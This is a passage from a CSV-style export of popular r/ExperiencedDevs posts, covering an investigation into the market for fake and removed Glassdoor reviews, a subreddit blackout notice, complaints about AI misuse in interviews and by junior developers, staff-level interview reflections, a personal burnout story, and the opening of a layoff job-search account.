transaction.",ICanCountTo0b1010,2018,348,1741044584,/r/ExperiencedDevs/comments/1j2wrdv/wiped_my_companys_production_db_last_week/,https://www.reddit.com/r/ExperiencedDevs/comments/1j2wrdv/wiped_my_companys_production_db_last_week/,self.ExperiencedDevs,True,,,,, 13k4x51,ExperiencedDevs,I investigated the Underground Economy of Glassdoor Reviews,"Online company reviews are high stakes. Top reviews on sites like Glassdoor and Google can get thousands of impressions each month and are major drivers of brand perception. Employers know this. And when I come across multiple 5 star reviews left with no cons, or a Pulitzer worthy essay from a former intern, I become suspicious. These reviews start to resemble 30 under 30 lists: so artificially constructed that you begin to question their credibility in the first place. The scrutiny around company reviews is well documented; some companies file lawsuits worth over a million dollars to reveal anonymous reviewers that complain about their jobs. Whilst it's the flashy lawsuits that make the headlines, there also exists an underground economy of company reviews operating quietly every single day. In this underground economy, some companies pay over $150 to freelancers to try and get a negative review removed. If they want “better” results, they go to the plethora of Online Reputation Management services (ORMs) in the United States that can charge retainers worth thousands of dollars. The supply of positive reviews exists too. My research led me to find companies, including a prominent Y-Combinator backed startup, that solicit fake positive reviews from online freelancers to improve their rating. Many of these mercenary fake reviewers, often based in South East Asia, make a full time living doing this, netting over $2,000 per month. Some of these run such sophisticated operations that they’ve even created their own pricing tiers (e.g $35 per original review, $20 to post an already created review from an email address), a la SaaS offering. Others operate on a contingency fee agreement model, where they only get paid if they’re able to take a negative review down. The underground economy of company reviews is well and truly alive. And today we’re going to find out how it operates. ***Note***: For more content like this, [*subscribe*](https://www.careerfair.io/subscribe) *to my newsletter. In a couple of weeks, I'll be releasing my guide to writing a killer resume.* **Adding reviews** The barriers to entry for adding fake reviews are much lower than for getting reviews removed, so that’s where we’ll start. To write an employer review, all you really need is the ability to create an email address. For most sites, you don’t need any proof of employment (say like a company specific email address). I went on a gig marketplace site and posted a pretty vague post related to wanting to find out more on how to improve a company’s online presence. Within minutes of posting a gig, my inbox was flooded with proposals: https://preview.redd.it/tj6462grpe0b1.png?width=3064&format=png&auto=webp&s=b10eef64f3fdc9d1a23168a62637d7e366ed0d1b After a bit of chatting, I narrowed the scope of their services and summarized their rates into the table below: |Channel|Cost|Timeline|Model| |:-|:-|:-|:-| |Freelancer #1|$10 per review|Monthly|Unlimited| |Freelancer #2|$35 per original review, $20 per already created review|Monthly|Unlimited| |Freelancer #3|$25 per review|Monthly|Unlimited| |Freelancer #4|$25 per review|Monthly|10 reviews| |Freelancer #5|$20 per review|Monthly|Unlimited| |Online Reputation Management Agency|$300 subscription|Monthly|8 reviews| Let’s dive a bit deeper into the services that Freelancer #5 offered. Freelancer #5 explained to me he had been writing reviews for one particular company for the past 4 months now. Each month he wrote them 10 reviews. https://preview.redd.it/t2j8ihqfqe0b1.png?width=2684&format=png&auto=webp&s=e94a7cbb76598faaac0036f273b1c09a64c56121 In another message, he tells me he’s offering the same services to 5 other companies. Doing some quick math: 5 companies x 10 reviews per company x $25 per review = $1,250 per month Considering the average person in Pakistan earns $150 per month, that’s not bad change at all. One of the companies that he’s offering his services to includes a Y-Combinator backed startup. I won’t name the company, but here’s what its average Glassdoor review rating distribution looks like: https://preview.redd.it/c7bq8nqhqe0b1.png?width=2420&format=png&auto=webp&s=1f323f06b9305d8781cbb86b897bdc47249fe0cb 5 star reviews account for over 77% of the company’s total reviews. Obviously, no one is buying fake reviews that make them look bad. But here’s the thing: freelancers are getting quite smart when it comes to writing reviews that don’t look too fishy. They tend to do this by spacing the reviews out (so that they don’t come in “spikes” – more on this later) and they also make sure that they’re not always leaving the “cons” section blank. Don’t get me wrong, if you come across this company’s reviews, it’d be pretty easy to tell they’re quite strange. In fact, I can’t even post some screenshots here because it’d give the company away immediately. But it would be challenging to conclude that the above company is buying reviews just by analyzing review volume and distribution without actually reading some of the reviews. The same company is also buying reviews on Google Reviews. *Sidenote*: I got curious about how he’s been writing 50 reviews from 50 different emails per month. Would he actually create 50 different email addresses? And what about the IP address – doesn’t Glassdoor flag multiple reviews from the same IP? One of the freelancers answered my question: https://preview.redd.it/tu98uzkjqe0b1.png?width=2572&format=png&auto=webp&s=b249cc2e3f463c7864a27e70d95f95ff71859bf9 Moving on – another company that seems to buy fake reviews seems to be having some more trouble. Approximately a month after a freelancer linked me to fake reviews he had written for this company, all five reviews that he had linked me to had been removed: https://preview.redd.it/tf36r8clqe0b1.png?width=3116&format=png&auto=webp&s=6c62524c5219120a74ee6fb33f8a63c9b0e8b74f Based on this [Glassdoor webinar](https://youtu.be/3iy0JWOS1gs) from 2018, “if it is found that a user has created multiple email accounts to submit reviews, then ALL submissions from that user are deleted” – so likely Glassdoor’s content moderation team flagged one of the initial reviews and the same freelancer who was writing reviews for that company had all the fake reviews deleted. So far, it looks like the key to an effective fake review creation strategy lies in: * Spacing the fake reviews out * Writing each review from a different IP address (i.e benefit of being part of a team) * Using language that isn’t an obvious giveaway On that third point: the reality is that many of these freelancers’ first language is not English. As an experiment, I turned to everybody’s favorite new toy, ChatGPT, and asked it to write me a positive Glassdoor review: https://preview.redd.it/8on2901nqe0b1.png?width=3164&format=png&auto=webp&s=b34873d55f4d6725756feddb82774cefdf4c1e95 And I’d say that the above answer was better than 95% of the fake reviews I came across. **Removing reviews** The process for removing an employer review usually works like this: 1. You identify one or multiple reviews that you want removed 2. You verify whether the review violates the site's Guidelines, or whether there’s something else about the review(s) that could get it removed. 3. You file an appeal to get it removed. As an example, Glassdoor’s Review guidelines can be found [here](https://help.glassdoor.com/s/article/Community-Guidelines?language=en_US#:~:text=See%20More-,Review%C2%A0Guidelines,-Millions%20of%20job). Mainly, they forbid mentioning anyone by name who’s not an executive and revealing proprietary or confidential information, amongst a host of other things. Sounds simple enough right? Well, according to one of the freelancers I messaged: &#x200B; https://preview.redd.it/56rvj8voqe0b1.png?width=2036&format=png&auto=webp&s=74a5b81f541a58758ff1b791f4fda9a6f6109b28 After some research, I summarized the different vendors and prices in the table below: &#x200B; |Channel|Cost|Timeline|Model|Self reported success rate| |:-|:-|:-|:-|:-| |Freelancer #1|$100 per review|3 days|Contingency Agreement Model|100%| |Freelancer #2|$30 per review|7 days|Contingency Agreement Model|100%| |Reputation management service #2|$450 per review|21 business days|Contingency Agreement Model|Unknown| |Reputation management service #3|$1000 per review|Undefined|Contingency Agreement Model|100%| |Reputation management service #4 Plan 1|$550 per review|5-6 Weeks|Contingency Agreement Model|50-75%| |Reputation management service #4 Plan 2|$300 Subscription + $100 per each review removed|Monthly service|Subscription plan|50-75%| |Freelancer #3|$20 per review|Undefined|Pay regardless|Undefined| |Freelancer #4|$500 per review|Undefined|Contingency Agreement Model|Undefined| As you can see, unlike the fake review generation market, the prices vary quite a bit for getting reviews removed. At one end, you have freelancers on gig marketplaces that will attempt to remove a review for less than $100. And then on the other end, you have ORMs (Online Reputation Management Agencies) that have multiple employees and more comprehensive packages in place. The one constant seems to be that most companies operate on a contingency agreement model (i.e pay only if review gets removed). **Analyzing reviews** ReviewMeta is a site that analyzes Amazon reviews and tells you how many are legitimate. The creator of the site, Tommy Noonan, mentions in an [interview with NPR](https://www.npr.org/sections/money/2018/06/27/623990036/episode-850-the-fake-review-hunter) that the main giveaway that a product is soliciting fake reviews is: * A large, suspicious flood of positive reviews at the exact same time. For example, a 3 day stretch of time constituting 30% of total reviews. * Phrases and words that are constantly repeated, especially in the section with no cons * Brand monogamists (only review products from one company) Whilst the last two bullets are hard to track, the first can be used to analyze different companies’ reviews and to check if there might be some funky business going on. After a couple of days, I have the ability to track review volume and review ratings over time for any company that I specify: https://preview.redd.it/eknwjoxese0b1.png?width=1653&format=png&auto=webp&s=6bcb0851ed0e9c46f003ba1a2db9adf4e7f2ecae Let the games begin. **Voluntary Response Bias** One of the biggest challenges that review platforms face is the Voluntary Response bias. Research shows many of today’s most popular online review platforms (e.g Amazon) have a distribution of opinion that is highly polarized, with many extreme positive and/or negative reviews, and few moderate opinions. Think about it: have you ever felt moderately satisfied at your job and thought to yourself, now would be a great time to leave a Glassdoor review? Probably not. On the other hand, if you’ve had a terrible experience or even just had one thing really flip you off, you might be quite likely to leave an angry review. Consider when a company goes through layoffs. You’re going to have a flood of angry reviews coming your way and are likely going to experience a “spike” in reviews. **Note:** Just like the Wall Street Journal’s methodology described [here](https://archive.is/20201016094732/https://www.wsj.com/articles/companies-manipulate-glassdoor-by-inflating-rankings-and-pressuring-employees-11548171977#selection-3965.0-3968.0), I considered there to be a spike if the total number of reviews in the month was greater than three standard deviations above the mean of the surrounding months. Let’s take the company below. Here’s a graph of of their review volume since Jan 2020, including when they announced one of their first round of layoffs in June 2022: https://preview.redd.it/uqbfm3ugse0b1.png?width=3216&format=png&auto=webp&s=5aa04783c11d533775529f9b6cfb6726b141586f In June 2022, approximately 19% of this company's 52 reviews were 1 star reviews (compared to an overall average of around 10%). This is what we could call a statistically significant spike in reviews. It also illustrates how the employees most likely to leave reviews are the ones that obviously had a bad experience (i.e getting laid off). Here’s another company that had a similar spike in negative reviews due to layoffs in November 2022: https://preview.redd.it/6oo2ipfise0b1.png?width=2408&format=png&auto=webp&s=4f48aad5063648b39652c9d5243236f2bedb594f This company had an approximate 20% 1 star review rate (compared to an overall average of 12%) in November 2022, as well as an Avg Rating of 2.96 that month (compared to an overall average rating of 3.73).Unless HR is proactive, their reviews page risks succumbing to an echochamber of negative reviews that can really tilt one way. **Note:** Glassdoor does state (based on [this video](https://www.youtube.com/watch?v=3iy0JWOS1gs) from 2017) that about 75% of the reviews on their platform are neutral. Their “give to get policy” has helped in keeping the platform from becoming too polarized. I can understand why HR teams, like the ones that Nader talked to me about earlier, take a proactive stance towards managing their reviews. If they don’t try to control their reputation themselves, then their reputation risks getting controlled by the employees that had the worst possible experience. **Goodhart’s Law** Goodhart’s law states the following: *""When a measure becomes a target, it ceases to be a good measure""* Every October, Glassdoor publishes their Best Places To Work ranking. In a [report](https://www.wsj.com/articles/companies-manipulate-glassdoor-by-inflating-rankings-and-pressuring-employees-11548171977) that the WSJ did a couple of years ago, they found large spikes in the number of reviews that some companies (e.g SpaceX, Bain & Co, etc) got in September. The logic here is that some companies try to artificially inflate their Glassdoor reviews right before the October deadline. I decided to revisit some of this analysis with Glassdoor’s 2023 Best Places To Work Ranking. One of the companies I examined is rated as one of the best places to work in 2023. Let’s refer to this company as FunPlaceToWork. Here is how their review volume looks like for all of 2022: https://preview.redd.it/a9bktnhlse0b1.png?width=2516&format=png&auto=webp&s=99af1d5a68c799e274a6daf3723ff2230cc69825 FunPlaceToWork got around 50 reviews in September 2022. Of those 50 reviews, 96% were 5 star reviews. FunPlaceToWork averaged 12 reviews per month up till then in 2022. Also, in the prior six months, the average percent of 5 star reviews received every month was \~75%. Both the spike in volume of reviews and the spike in percentage of five star reviews are statistically significant. I find it strange that Glassdoor’s proprietary algorithm and/or Human Content Moderation team did not find a spike of this nature unusual. If we look at Glassdoor’s eligibility criteria for the award, it’s as follows: https://preview.redd.it/4j779c0nse0b1.png?width=2868&format=png&auto=webp&s=6686f282508375d041befef298a0594f9460eeb8 The goal, according to Glassdoor, is to collect “authentic and unbiased reviews”. Whilst there’s nothing against the rules for asking your employees to leave you reviews, I find the statistically significant spike of reviews at odds with the goal of collecting ""unbiased and authentic"" reviews (which Glassdoor states is the purpose of the awards). Glassdoor states that an employer is allowed to ask its employees to leave reviews, but that they are not allowed to “coerce” them. Examples of what you can’t do: * Offer incentives like Gift Cards in exchange for positive reviews. * Withholding their reference letter unless they leave you a positive review. * Anything that leads you to require proof for the employee to show you that they wrote a review. It is possible to play by the rules (i.e not break any of the above rules) and to still in my opinion not collect authentic and unbiased reviews. They say that you shouldn’t hate the player but the game – I think **FunPlaceToWork** played by the rules, won fair and square, and that this is simply a perfect example of Goodhart’s Law. I reached out to Glassdoor ([awards@glassdoor.com](mailto:awards@glassdoor.com)) about the above and this is the reply I got: https://preview.redd.it/5019eexose0b1.png?width=4800&format=png&auto=webp&s=0c010a668da1169ad1bb2383fe7f713666171946 **Conclusion** When I was 22, on an [F1 visa with 3 months to find work](https://www.careerfair.io/job-hunt-story), I didn’t give a damn about bad reviews. I needed a job and I’d sign any piece of paper you put in front of me. Compare that to someone at the peak of their career, someone with optionality and a multitude of job offers; an “A-Player”, as the experts call it, would absolutely have the luxury of choice and discard a job offer based on bad company reviews. For most people, the impact of online company reviews lies somewhere in the middle. In marketing, there’s a concept of a “marketing touchpoint” - an interaction with the brand over the course of the whole buying journey. Company reviews are one of the many touchpoints a job seeker experiences over their interview process. And with the technology industry booming the past couple of years, companies couldn’t afford to slack on any touchpoints, including this one. After all, when others start to game the system, you’re at a disadvantage if you don’t. The rewards can be quite high. Certainly higher than just trying to be as transparent as possible. HR leaders are often more incentivized to inflate their metrics than to get honest feedback. Fake review writers have bills to pay. ORMs know that companies are desperate. And the platforms, well, aren’t always paying attention. The result is a potluck of interests that leads to an underground economy. One that ends up hurting the job seeker. \*\*\* Whew. That took a while (about 3 months in fact). Thanks for reading. For more content like this, [subscribe](https://www.careerfair.io/subscribe) to my newsletter. It's my best content delivered to your inbox once every 2 weeks.",ibsurvivors,1360,92,1684337148,/r/ExperiencedDevs/comments/13k4x51/i_investigated_the_underground_economy_of/,https://www.reddit.com/r/ExperiencedDevs/comments/13k4x51/i_investigated_the_underground_economy_of/,self.ExperiencedDevs,True,,,,, 147ebxd,ExperiencedDevs,ExperiencedDevs will go dark until the end of the month,"The poll is currently split quite down the middle. I did not do a good job of choosing the poll options and as such it's really hard to decide what the community would have voted for if it was a ranked choice vote. In recognition of that (_even though I voted for indefinite blackout_) we'll be taking the sub offline until the end of the month, starting immediately. This hopefully helps people feel that their voice was heard. I understand that the majority (technically, but not in spirit) voted for permanent blackout, but a significant portion of the community voted for non-permanent blackout as well. I do not know how to reconcile the two, and as such am trying to choose a time frame that most makes sense. We will reopen the sub on July 1st. If you cannot live without internet interaction for that long, you are welcome to join us at https://programming.dev. If you do not want to do so, I completely understand as it's totally shilling on my part to promote an alternative. I just do not want people to be left without a community during this time.",snowe2010,1169,1,1686542425,/r/ExperiencedDevs/comments/147ebxd/experienceddevs_will_go_dark_until_the_end_of_the/,https://www.reddit.com/r/ExperiencedDevs/comments/147ebxd/experienceddevs_will_go_dark_until_the_end_of_the/,self.ExperiencedDevs,True,,,,, 1fpdw0x,ExperiencedDevs,AI is ruining our hiring efforts,"TL for a large company. I do interviewing for contractors and we've also been trying to backfill a FTE spot. Twice in as many weeks, I've encountered interviewees cheating during their interview, likely with AI. These people are so god damn dumb to think I wouldn't notice. It's incredibly frustrating because I know a lot of people would kill for the opportunity. The first one was for a mid level contractor role. Constant looks to another screen as we work through my insanely simple exercise (build a image gallery in React). Frequent pauses and any questioning of their code is met with confusion. The second was for a SSDE today and it was even worse. Any questions I asked were answered with a word salad of buzz words that sounded like they came straight from a page of documentation. During the exercise, they built the wrong thing. When I pointed it out, they were totally confused as to how they could be wrong. Couldn't talk through a lick of their code. It's really bad but thankfully quite obvious. How are y'all dealing with this?",wcolfaxguy,1130,658,1727294705,/r/ExperiencedDevs/comments/1fpdw0x/ai_is_ruining_our_hiring_efforts/,https://www.reddit.com/r/ExperiencedDevs/comments/1fpdw0x/ai_is_ruining_our_hiring_efforts/,self.ExperiencedDevs,True,,,,, 1j9ryjx,ExperiencedDevs,Have you noticed AI being a bad influence on junior devs?,"I’m not denying the power AI. It’s been useful during for investigations, summarizing undocumented legacy codebases. But I don’t take it as gospel. But with new junior devs on my team, I’ve ran into many mildly infuriating situations. This week: 1. Discussing approach to fix an issue, I tell Junior dev A, Android writes this file in X. Dev comes back and says ChatGpt says it does it a different way in Y. I was like “Huh how’s that possible”, so I search Android official documentation and send him a link where it’s written. He comes back saying, “I asked ChatGPT to read the doc, and it says it writes to Y”. I had no idea how to respond. Gave up helping, he’s still working on it. 2. Reviewing Dev B’s pull request, I see that it indicated 100% line and branch test coverage, nice. I look at the assertions in the test, and they’re meaningless. The tests mock every possible scenario, so every line & branch gets executed giving a good report. They don’t really make meaningful assertions, just bs. I sent it back for revision. Turns out dev B has no idea how to write these tests, has always purely relied GenAI to write them. Had to spend a whole day hand holding the dev teaching how to write good unit tests. But his next piece of work, again terrible tests. Had to send it back, and I can see it’s frustrating the kid, not sure what else to do. 3. Dev C working on updating a library to a new version. The website has a straightforward guide, but he’s been stuck on it for a few days. Manager asks me to help. Turns out instead of just find + replace some syntax according to the guide, he made AI do the update. It’d messed up in a couple of places. He’d asked AI for possible root causes & solutions, and went down a rabbit hole loop. They don’t understand half the code they’re writing, but have a ton of confidence on it because AI wrote it. I mean I remember my green days too, where I’ve copy pasted stack overflow code without understanding to try things. But I’d always been skeptical. Worst part is, they never shut up about their AI powered efficient development workflow, repeating buzz words.",Additional_Battle_36,1117,243,1741806247,/r/ExperiencedDevs/comments/1j9ryjx/have_you_noticed_ai_being_a_bad_influence_on/,https://www.reddit.com/r/ExperiencedDevs/comments/1j9ryjx/have_you_noticed_ai_being_a_bad_influence_on/,self.ExperiencedDevs,True,,,,, o2crac,ExperiencedDevs,HBO Max Integration Test Email in Prod,,fwifo,1088,159,1623978021,/r/ExperiencedDevs/comments/o2crac/hbo_max_integration_test_email_in_prod/,https://i.redd.it/wxlu311xax571.png,i.redd.it,False,,,,, 1hxjdom,ExperiencedDevs,I don’t like where big tech is headed.,[removed],ClittoryHinton,1078,285,1736446971,/r/ExperiencedDevs/comments/1hxjdom/i_dont_like_where_big_tech_is_headed/,https://www.reddit.com/r/ExperiencedDevs/comments/1hxjdom/i_dont_like_where_big_tech_is_headed/,self.ExperiencedDevs,True,,,,, 10jbpd3,ExperiencedDevs,Google being asked for further layoffs and reduced compensation by investor,"https://www.tcifund.com/CorporateEngagements/Alphabet The link above contains 2 letters, one sent back in November asking for reduced costing and another recent one asking for even more layoffs and reduced the high compensation.",check-himu,985,377,1674478138,/r/ExperiencedDevs/comments/10jbpd3/google_being_asked_for_further_layoffs_and/,https://i.imgur.com/3UlkMDJ.jpg,i.imgur.com,False,,,,, u51av3,ExperiencedDevs,Reflections on 2022 Staff+ level Interviews,"So I decided to make this post because I recently finished up a decent number of interviews at Staff/Principal level and, prior to those interviews, spent a lot of time scouring online for accounts like this from real people and found a *complete dearth* of it. Most of the content I was able to find was provided by people who exclusively make money on interview training, was focused primarily on new grad through Senior developers, was woefully out of date, or was focused on being promoted from within or being successful *after* you land the job (StaffEng.com). So I wanted to give back to share for people who may be in a similar position. [First, a very uninteresting Sankey Diagram of the overall experience.](https://i.imgur.com/58UHOJO.png) **Basic Background:** * Remote worker in the midwest US * 12 YOE * Wasn't even looking to make a move, just wanted to explore my market rate The other relevant piece is that, before beginning the search, I was already employed at big tech company at Staff/Principal level. While I am certain this helped in my case, particularly with things like obtaining interviews, I should also mention I have been at the same company for a *long* time. Well beyond what most in this industry would consider normal. I also had not done interviews in ages (Though I've conducted hundreds), and had been fully promoted to the level from within, so I truly had no idea what to expect. **What I Expected Going In** * I knew the market was hot, so getting interest wouldn't be a problem. Started with a stack of recruiter mails in my inbox from day one. * I was expecting a fair amount of coding in my interviews, particularly LeetCode-style problems. * I was expecting a lot of highly-structured System Design interviews. * I was expecting to be interviewed by people at Staff level or above. * I was expecting the process to be fairly streamlined and maybe even a little extra care and attention given the level I'd be coming in at and the demand for it. * I was expecting to get rejected a lot. More rejections than successes, actually. * I was expecting to be given offers that would be higher than my current pay, but not by much given my location. **How I Prepared** Knowing those expectations above, I did spend some time ""studying"" but given I wasn't actually planning to move companies, it was far less than what I often see on here. In all I solved a couple dozen leetcode problems and otherwise just browsed solutions for a few dozen more. I did not look at DDIA to study, but I did already have the book and had read it years ago (When I would argue it was far more relevant). I did not use any ""Passing the System Design Interview"" style online guides beyond reading a couple of the freely available ones on ""Grokking the System Design Interview"", but I did definitely go read blogs, watch videos, and skim whitepapers on some actual production systems (HDFS, Reddit, Slack, Uber, etc). **What I Actually Experienced** You can probably tell by how I phrased a lot of those expectations above where many of these are going. Where to even begin? **On Coding Problems** I did 7 phone screens and five on-sites, all of these with major tech companies. All 7 phone screens involved a coding problem. After that, they practically ceased to exist. Two companies did not even ask me a single additional coding question during the on-site. Of the coding questions I did get, only *three* were ""LeetCode"" style coding problems, all required nothing but hashtables and arrays, and all were very straightforward to solve by someone who writes algorithms on a fairly regular basis. No dynamic programming, no topological sort, no recalling tries or reimplementing binary search like there's not a library for it. All-in all, pleasantly surprised here and glad I did not ""grind leetcode"" for weeks on end. **On System Design** This one was just as big of a surprise. If you follow the guides and watch the videos, they are *nothing* like the real interview experience. The real interview experience has so much more back and forth and veers off into totally arbitrary directions. Also *nobody* cares about capacity estimation. The only thing even remotely relevant to what's mentioned in DDIA is CAP theorem, which if you've ever worked on a distributed system for more than like, a few weeks, you know it. Even if you don't know the name of it or that it's a ""theorem"", you just know that data consistency and availability are tradeoffs of one another. At some companies, maybe they have a formula. But at all the companies I went through, it was clear that what they were looking for were not academics and theory, but signals of real world experience. The feedback I got post-interviews confirmed this - interviewers were more impressed that I brought up considerations like personnel expertise (ex: More devs know SQL than NoSQL), time to market, difficulty in hiring a replacement who knows <complex en-vogue message queue>, and security vulnerabilities that multiply at scale than they were at my ability to talk about sharding and partitioning. **On ""Reverse System Design""** I did not see this phrase mentioned even *once*, anywhere, online or in any videos prior to my interviews. And yet three of my five on-sites had ""reverse system design"" rounds. This is a really interesting format where the interviewee is asked to come present a system they already had designed or built (If you can't talk about one for confidentiality reasons, in some cases you can also ask for a prompt from them and it becomes a bit of a take-home assignment). I loved this. Best interview format ever. I had built a lot of things, including some fairly complex distributed systems, so I just got to talk about them and diagram them out and tell cool stories. **On The Rest of the Interview** If you've been following along, you saw few coding interviews, so that leaves system design, and reverse system design and... what else? Well, at a lot of companies we just *talked.* No bullshit, we talked like actual humans. Not even behavioral, ""Tell me about a time when..."" style prompts, but a shocking number of interviews were just talking shop for like 45-60 minutes. Really organic, casual conversations going deep on some tech or lobbing questions back and forth at each other about how we'd do X or Y, or what it's like to struggle with Framework Foo. And I will reiterate, *all of these were major tech companies.* **On The Process** You can pretty much just take my other expectations from above and reverse them to get the outcomes here: * A fair number of interviews conducted by Senior and mid-level devs. I don't really have a huge problem with this, but the nature of the conversations in these interviews was just *very* different and I can't see how it would consistently get good signal. Much more in the weeds, more comments about coding idiosyncrasies and nitpicking if doing a live coding session. * ""Streamlined"" would be a very generous term to apply - scheduling was an absolute *nightmare* for many of the companies. Constant cancellations and rescheduling, lots of demand for me to align to west coast timezone (Remember, I'm two hours ahead in the midwest, I don't want to interview at 7 PM my time), which I refused to do. People showing up consistently late and trying to keep me long after we went past time, recruiters changing halfway through the process, poor communication and many days between replies, random recruiter phone calls mid-day instead of just sending an email. If you checked the Sankey, you'll see I just dropped two companies before finishing their onsites. I had just had enough. Literally, these companies lost on a Staff-level engineer in quite possibly the highest demand market in history simply because their hiring process was poor. **On Offers** Honestly, not going to say much here as it's been beaten to death on this subreddit. This market is insane if you are a Staff-level developer. The offers are very high, yes, even if you are fully remote. In the US midwest, I managed to get offers all topping *half a million dollars a year*, which is far more than I had expected going in (Especially given data on that from sites like Levels is sparse for remote outside the coasts) and well above what I was making. It turned my purpose of ""just exploring my market rate"" into accepting an offer so high that I could not possibly refuse it. **In Closing** Whew. I hope someone finds this of some use - real people anecdotes of what it's like right now beyond Senior-level are hard to come by and, as I mentioned, I went into this process with a bunch of assumptions that turned out to be totally wrong, *even for major US tech companies.* Staff-level is on fire, every company wants them, especially if you have any experience at all operating at the scope and level, and the interviews are far less intimidating than Reddit would have you believe. If you're even considering making a move, now is the time to do it - don't sit with your impostor syndrome like I did.",AnthonyMJohnson,934,170,1650126149,/r/ExperiencedDevs/comments/u51av3/reflections_on_2022_staff_level_interviews/,https://www.reddit.com/r/ExperiencedDevs/comments/u51av3/reflections_on_2022_staff_level_interviews/,self.ExperiencedDevs,True,,,,, 1k28kbh,ExperiencedDevs,Work isn't therapy. Lessons I learned too late as a Principal SWE,"Today is my first day of being unemployed after quitting my job as a Principal SWE due to personal reasons and just wanted to share a few non-technical lessons I've learned over the past few years. They might seem extremely basic to some, but I definitely learned them the hard way. Being somewhat experienced in life and somewhat experienced in the Dev world, I thought I could handle whatever life threw in my direction, but unfortunately, that wasn't the case. **About me**: * **Experience**: 16 yoe. * Company A (15 years): Started off as a co-op, made it to Staff by the time I quit. * Company B (1 year): Joined (and quit) Company B as a Principal. **Lessons learned**: * Prioritize your mental health over everything. Therapy works but only if you take it seriously; just that in itself could take weeks/months, even years. * DO NOT let work be your escape from reality. I definitely learned this the hard way. * You can lose everything - job, relationship, stability and still be okay. * If you're going through some serious shit in personal life, DO NOT try to power through at work. I delivered most of my stuff at work this year, but the quality was horrible. Some of my leads noticed a few discrepancies in some of the ADRs, roadmaps and integrations specs I created, but didn't bring it up to my attention. They knew I was going through tough times at home, and since these discrepancies weren't major, they just let them be. This broke my heart, not necessarily from a ""personal branding"" perspective, but purely from a professional/technical one. Now on to what lead to these: --- * **Work/Life**: * 2022: * (Life) Wife and I lost a pregnancy (ectopic); one of the fallopian tubes ruptured; severe complications; wife needed lots of after-surgery care that went on for almost a year (into late 2023). * (Work) Work was extremely supportive throughout this experience. * 2024: * (Work) A really good job opportunity came along that I just couldn't say no to, ended up taking this role. Amazing people, awesome product, loved it. * (Life) Towards the end of the year, wife and I went the IVF route, got pregnant again. * Early 2025: * (Life) * (Lost pregnancy #2) Unfortunately we lost the pregnancy due to complications; as long as my wife was okay, we didn't care; we were happy. Doctors told us chances of her surviving the next pregnancy would be VERY low, so not to even look in that direction. * (Wife moved out) After a few weeks, both my wife and I lost it mentally. Reality sunk in. We were there for each other, but not for our own self. We started therapy, it helped a bit, but my wife took this entire experience very hard. She wanted to move back to her parents for a few weeks/months to clear her head. It wasn't easy but I had to respect her wishes. * (Work): * (I wasn't the same anymore): This entire experience took a toll on my mental health, and I just wasn't the same anymore. My ADHD got worse; couldn't focus, couldn't deliver. * (I quit): 2 weeks ago, I gave my 2-week notice. My work was extremely understanding and supportive, but I just couldn't do it. I considered short/long-term disability, but mentally I was done; its hard to put it into words but yeah, I just couldn't do it. * Present: * (Life) Therapy (twice/week). Wife and I are still separated; it's tough, very tough. * (Work) Unemployed; Taking a break from everything for a few weeks. We spent most of our savings on the IVF treatment, but I still have some left to last me through the summer. * Future: * (Life) Continue therapy + looking forward to my wife coming back home. Hopefully soon, but I respect her journey and her wishes as well. * (Work) Let's see what the future holds; I honestly don't know. Perhaps continue being a company man and apply elsewhere, try my luck with YouTube (I know, I know), consider entrepreneurship (SaaS, web/app dev etc), who knows. Edit: Apologies to everyone in case this post is coming across as more of a personal life post rather than the lessons I learned (and wanted to share). As I mentioned in few of the comments, initially it was only supposed to be a few bullet points, and some minimal context, but I found it to be quite therapeutic as I continued to write it. Heading out for a hike now; will check/reply to all messages tonight. Thank you.",CSThrowAway2014,917,78,1744992298,/r/ExperiencedDevs/comments/1k28kbh/work_isnt_therapy_lessons_i_learned_too_late_as_a/,https://www.reddit.com/r/ExperiencedDevs/comments/1k28kbh/work_isnt_therapy_lessons_i_learned_too_late_as_a/,self.ExperiencedDevs,True,,,,, t5xbhu,ExperiencedDevs,I have recently been promoted to a development VP at a Fortune 100 company. How do you recommend I go about destroying a good development culture and making life a living hell for developers in my organization?,[removed],SeriousMrMysterious,876,291,1646329841,/r/ExperiencedDevs/comments/t5xbhu/i_have_recently_been_promoted_to_a_development_vp/,https://www.reddit.com/r/ExperiencedDevs/comments/t5xbhu/i_have_recently_been_promoted_to_a_development_vp/,self.ExperiencedDevs,True,,,,, 1ij60n3,ExperiencedDevs,Context-switching is the main productivity killer for developers,,milanm08,875,112,1738857931,/r/ExperiencedDevs/comments/1ij60n3/contextswitching_is_the_main_productivity_killer/,https://newsletter.techworld-with-milan.com/p/context-switching-is-the-main-productivity,newsletter.techworld-with-milan.com,False,,,,, 14v9gkh,ExperiencedDevs,My experience being laid off as an experienced Software Engineer in the current market,"I posted this on /r/cscareerquestions yesterday, and got a DM telling me to post it here as well since I am an ""experienced dev"" so I figured I should repost it here. If this is not allowed please let me know or delete the post. --- I was laid off earlier in the summer, and wanted to share my experience getting a job in the current market. I'm a Senior Software Engineer with around 8 years of experience, working on backend systems, with most of my background being in working at big tech companies. After the layoff, I took a month off to go on vacation, and then spent a few weeks preparing for interviews. Once I felt I was ready, I scheduled a bunch of interviews and went through all the processes. Here is the Sankey Diagram of how it went: https://i.imgur.com/k3gTSOu.png ### Applications The majority of my applications were through referrals, though I did a few cold applications as well. Once I announced my layoff, many of my former managers, leads, and coworkers reached out to offer referrals. I also personally reached out to friends and former coworkers for referrals as well. I was picky with which companies and projects I want for my next role, so I kept my pool relatively small. ### Interview process The interview process seems unchanged from the last time I interviewed, which was in 2021. Its usually a chat with the HM, technical screen, followed by the onsite. All of this was remote via Meets/Zoom and shared web coding IDE. ### Onsite structure The onsite mostly consisted of 2-3 coding rounds, 1 system design round, 1 leadership/behavioral round. Some companies would swap a coding round for an extra system design round. #### Coding rounds As a Senior SE, there's less coding rounds than junior levels, but the questions are usually more difficult. Some examples of questions I got are below. These aren't exact 1:1 of the questions I got, but similar enough in concepts. Overall not too difficult. https://leetcode.com/problems/koko-eating-bananas/ https://leetcode.com/problems/find-the-smallest-divisor-given-a-threshold/ https://leetcode.com/problems/find-minimum-in-rotated-sorted-array/ https://leetcode.com/problems/course-schedule-ii/ https://leetcode.com/problems/merge-intervals/ https://leetcode.com/problems/network-delay-time/ https://leetcode.com/problems/find-median-from-data-stream/ https://leetcode.com/problems/design-a-text-editor/ #### System design rounds These were very standard system design rounds. The interviewers want to dive deep on a specific topic / part of the system, so the method is to lay out your high level design as fast as you can and constantly communicate with the interviewers to figure out which portion to dive deep on. For me, a combination of working on massively distributed backend systems and some studying was enough to pass these rounds. #### Behavioral and leadership rounds These are basically just a chat about my 